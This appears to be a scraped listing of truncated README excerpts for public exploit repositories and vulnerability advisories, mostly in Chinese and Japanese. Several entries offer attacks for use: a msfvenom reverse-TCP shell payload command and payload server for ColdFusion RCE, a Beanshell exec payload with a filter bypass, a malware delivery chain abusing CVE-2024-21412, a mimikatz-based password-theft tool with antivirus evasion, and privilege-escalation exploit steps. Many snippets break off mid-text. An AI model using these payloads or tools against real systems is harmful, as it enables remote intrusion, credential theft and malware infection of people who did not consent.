CVE-2023-26360-RCE

CVE-2023-26360 - ColdFusion 2021 上的远程代码执行 有时，脚本在第一次尝试时不会生效。多试几次即可 如何执行 使用 msfvenom 创建载荷 root@kitploit: msfvenom -p java/shellreversetcp LHOST=192.168.56.1 LPORT=4444 file.java 启动 server.py 该服务器将在使用 cve.2023-26360.py 完成初始访问后，将载荷发送到 Coldfusion 服务器，因此需要先启动它。 root@kitploit: python3 server.py 8000 参数...

CVE-2024-0670

CVE-2024-0670 – CheckMK Agent のローカル特権昇格（PowerShell PoC） 概要 このリポジトリは、CheckMK Agent における Windows のローカル特権昇格の脆弱性である CVE-2024-0670 に対する独立した PowerShell 概念実証（PoC）を提供します。この脆弱性により、低権限のローカルユーザーが MSI 修復プロセス中の予測可能なコマンドファイル実行を悪用して、NT AUTHORITY\SYSTEM へ特権昇格できる可能性があります。 この実装は、elsevar11 氏による公開...

CVE-2021-21551

CVE-2021-21551 的 PoC 使用 Dell dbutil23.sys 驱动程序的 Windows 本地权限提升（LPE）。 利用方法 实现读写、分配 shellcode、翻转页面以绕过 SMEP、覆盖 haldispatch 指针、执行 shellcode。...

CVE-2024-21412_Water-Hydra

CVE-2024-21412Water-Hydra CVE-2024-21412 を介したマルウェア配信 使用方法 サービスを順番に起動し、Webサーバーにアクセスします Webサーバー フォルダ内でWebサーバーを起動します: python -m http.server Initial Access: Windows 詳細クエリ構文（AQS）を使用してWebDAV共有にリンクするJPEGトロイの木馬 Initial Access: search: プロトコルを使用してWindowsエクスプローラーウィンドウをカスタマイズ search:...

evtx-baseline

evtx-baseline サンプルソフトウェアのインストールと基本的なユーザー操作を含む、良性ソフトウェア（goodware）の evtx ログの例をホストするリポジトリです。 提供 win10-client.tgz：@phantinuss による提供 win11-client.tgz：@frack113 による提供 win7-x86.tgz：@pH-T による提供 win2022-evtx.tgz：@Neo23x0 による提供 win2022-ad.tgz：@frack113 による提供 win2022-0-20348-azure.tgz：@Neo23x0 による提供...

presentations

私のプレゼンテーション その他の資料は私の個人サイトで見つけることができます: https://sites.google.com/site/zhiniangpeng root@kitploit: EXSi の preauth RCE とサンドボックスエスケープの脆弱性の悪用, Typhooncon 2023 OLE オブジェクトは今も危険 — Microsoft Office の悪用, POC 2023 Django-Simple-Captcha — JumpServer の Preauth RCE, Mosec BaijiuCon 2023 APT vs GPT, 2023 年...

CVE-2021-1732_exp

CVE-2021-1732-エクスプロイト CVE-2021-1732 エクスプロイト 「違法行為に使用しないでください。結果は自己責任です。」 EXP の使用 CVE-2021-1732exploit.exe whoami リソース: https://bbs.pediy.com/thread-266362.htm...

CVE-2023-21768

CVE-2023-21768 OS information root@kitploit: OS 名称: Microsoft Windows 11 专业版 OS 版本: 10.0.22621 暂缺 Build 22621 LPE...

EUVD-2026-68916

A vulnerability in the Backblaze Client allows a local user to make the system not bootable by creating a link from Backblaze's folder to Windows OS system files during a backup. Successful exploitation requires an administrator-level system change that results in the absence of specific Windows ...

CVE-2026-19820

CVE-2026-19820 affects the Backblaze Client for Windows . The root cause is improper link resolution : a local user can create a link from Backblaze's folder to Windows OS system files during a backup, potentially rendering the system not bootable . Successful exploitation requires an administrat...

CVE-2026-19820 Backblaze Client for Windows Improper Link Resolution Vulnerability

A vulnerability in the Backblaze Client allows a local user to make the system not bootable by creating a link from Backblaze's folder to Windows OS system files during a backup. Successful exploitation requires an administrator-level system change that results in the absence of specific Windows ...

PT-2026-84550

Confused deputy in CredentialProvider in Google Chrome on on Windows prior to 152.0.7977.75 allowed a remote attacker who had compromised the renderer process to leak sensitive information via a crafted HTML page. Chromium security severity: Low...

PT-2026-84561

Buffer overflow in GPU in Google Chrome on on Windows prior to 152.0.7977.75 allowed a remote attacker who had compromised the renderer process to execute arbitrary code outside the sandbox via a crafted HTML page. Chromium security severity: High...

PT-2026-84555

Incorrect authorization in Chromoting in Google Chrome on on Windows prior to 152.0.7977.75 allowed a local attacker to execute arbitrary code outside the sandbox via a local program. Chromium security severity: Medium...

CVE-2026-62735

CVE-2026-62735 信息 此漏洞最初由 Siyeon Wi 发现。我出于教育和案例研究目的独立复现了该漏洞。 该漏洞还在 Pwn2Own Berlin 2026 上进行了演示。参考资料： TrendAI 零日计划状态 TrendAI 零日计划博客 Microsoft 更新详情：CVE-2026-62735 PoC 已通过 Integer Overflow 漏洞演示崩溃。借助此漏洞，我们拥有 Heap Overflow - SYSTEM shell 的原语。 摘要 漏洞类型：Integer Overflow 组件：http.sys...

honda

RoguePlanet（Nightmare-Eclipse 作） HONDA（nu11secur1ty 作） RoguePlanet Windows Defender の脆弱性 著者: オリジナルエクスプロイト開発者 Nightmare-Eclipse 開発、テスト、および兵器化 nu11secur1ty （ペネトレーションテスティングエンジニア） 🧠 nu11secur1ty による技術的分析 このエクスプロイトは、Windows Defender のクリーンアップルーチン（MpCleanCallbackFunction）と Volume Shadow Copy...

CVE-2004-1561-Notes

CVE-2004-1561 利用笔记 大家好， 我将分享我在Windows 7机器上利用Icecast的 CVE-2004-1561 的笔记。 如果你想自己尝试，这里有一个很好的实验室 如何打开我的笔记 我将笔记保存为 .ctd 扩展名，用纯文本打开会很混乱。 你需要专门的笔记软件才能正确打开。 其中之一是 CherryTree 用这个文件打开我的笔记后，它应该是正常的人类可读格式。...

e-cology

泛微e-cology OA Beanshellコンポーネントのリモートコード実行 Windows Linux 追記 root@kitploit: ターゲットシステムのos.nameを検出する（ターゲットがWindowsの場合、setなどのコマンドを実行するには、手動でcmd.exe /c setと入力する必要がある） Unicodeを使用してexecフィルタをバイパスする（一部のサイト） Payload root@kitploit: bsh.script=exec'whoami'; unicode bypass...

mimikat_ssp

mimikatssp Windows パスワード取得・アンチウイルス回避...

cve-2016-0189

CVE-2016-0189 CVE-2016-0189 の概念実証エクスプロイト IE11 の VBScript メモリ破損 Windows 10 IE11 でテスト済み。 解説 http://theori.io/research/cve-2016-0189 実行方法 1. support/.dll または自分で .cpp をコンパイル と exploit/.html をディレクトリにダウンロードします。 2. Webサーバー または python の簡易 HTTP サーバー を使用してディレクトリを配信します。 3. 被害者 IE で vbscriptbypasspm.html...